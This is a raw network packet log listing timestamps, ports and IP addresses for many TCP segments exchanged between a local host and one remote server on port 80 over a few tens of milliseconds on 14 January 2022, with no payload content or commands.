Jan 14, 2022 09:25:41.409221888 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409244061 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409252882 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409281969 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409300089 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409318924 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409333944 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409357071 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409385920 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409395933 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409404039 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409431934 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409468889 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409490108 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409504890 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409507036 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409540892 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409563065 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409579039 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409579992 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409615993 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409621954 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409652948 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409671068 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409691095 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409691095 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409728050 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409743071 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409765959 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409790039 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409804106 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409806013 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409840107 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.409868956 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409903049 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.409955978 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410005093 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410038948 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410042048 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410079002 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410114050 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410125971 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410150051 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410202980 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410212994 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410252094 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410278082 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410285950 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410300970 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410327911 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410346031 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410382986 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410388947 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410420895 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410444975 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410458088 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410482883 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410496950 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410528898 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410533905 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410550117 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410572052 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410574913 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410609961 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410645962 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410680056 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410679102 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410702944 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410717964 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410728931 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410754919 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410762072 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410789967 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410793066 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410826921 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410835981 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410864115 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410892010 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410900116 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410931110 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410938978 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410948038 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.410975933 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.410991907 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411012888 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411015034 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411051035 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411084890 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411099911 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411122084 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411123991 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411158085 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411179066 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411195993 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411200047 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411235094 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411267996 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411288023 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411305904 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411313057 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411343098 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411370993 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411379099 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411382914 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411415100 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411426067 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411452055 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411494017 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411500931 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411508083 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411540985 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411572933 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411575079 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411582947 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411613941 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411642075 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411652088 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411676884 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411689997 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411700964 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411729097 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411744118 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411765099 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411786079 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411799908 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411806107 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411837101 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411858082 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411871910 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411892891 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411912918 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411917925 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411950111 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.411967993 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.411984921 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412023067 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412059069 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412060022 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412072897 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412092924 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412110090 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412130117 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412138939 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412167072 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412173986 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412204981 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412228107 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412242889 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412247896 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412276983 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412312984 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412329912 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412353039 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412360907 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412386894 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412416935 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412445068 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412472010 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412482977 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412496090 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412518978 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412525892 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412555933 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412573099 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412594080 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412601948 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412628889 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412652016 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412664890 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412697077 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412702084 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412736893 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412749052 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412771940 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412772894 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412808895 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412833929 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412844896 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412852049 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412882090 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412916899 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412939072 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412952900 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.412956953 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.412991047 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.413006067 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.413034916 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.423680067 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.423722029 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.423748970 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.423759937 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.423769951 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.423810959 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.430954933 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.430996895 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431037903 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431065083 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431080103 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431086063 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431119919 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431128979 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431159019 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431173086 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431199074 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431224108 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431237936 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431238890 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431279898 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431284904 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431319952 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431358099 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431370974 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431395054 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431399107 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431440115 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431478024 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431498051 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431518078 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431518078 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431559086 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431574106 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431600094 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431617022 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431641102 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431679010 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431685925 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431719065 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431757927 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431766987 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431797028 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431837082 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431843042 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431878090 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431919098 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431934118 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.431961060 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.431998968 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432013988 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432041883 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432081938 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432092905 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432121992 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432161093 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432176113 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432202101 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432241917 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432256937 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432284117 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432322025 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432337999 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432362080 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432401896 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432415009 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432440042 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432482004 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432507038 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432522058 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432563066 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432573080 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432605028 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432643890 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432660103 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432683945 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432723999 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432733059 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432761908 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432801008 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432810068 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432841063 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432881117 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432889938 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.432921886 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432960033 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.432975054 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433000088 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433042049 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433048964 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433079958 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433121920 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433121920 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433165073 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433203936 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433234930 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433264971 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433300972 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433306932 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433310986 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433347940 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433387995 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433403015 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433428049 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433465958 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433481932 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433506012 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433546066 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433562994 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433585882 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433626890 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433636904 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433666945 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433696985 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433706999 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433732986 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433738947 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433747053 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433785915 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433799982 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433820963 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433826923 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433871031 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433902025 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433943987 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433968067 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.433983088 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.433996916 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.434025049 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.434048891 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.434067011 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.434081078 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.434107065 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.434108019 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.434144020 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.434149981 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.434187889 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.434191942 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.434246063 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441067934 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441111088 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441129923 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441145897 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441154957 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441196918 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441204071 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441239119 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441257000 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441279888 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441306114 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441323042 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441364050 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441402912 CET	80	49864	8.209.70.0	192.168.2.4
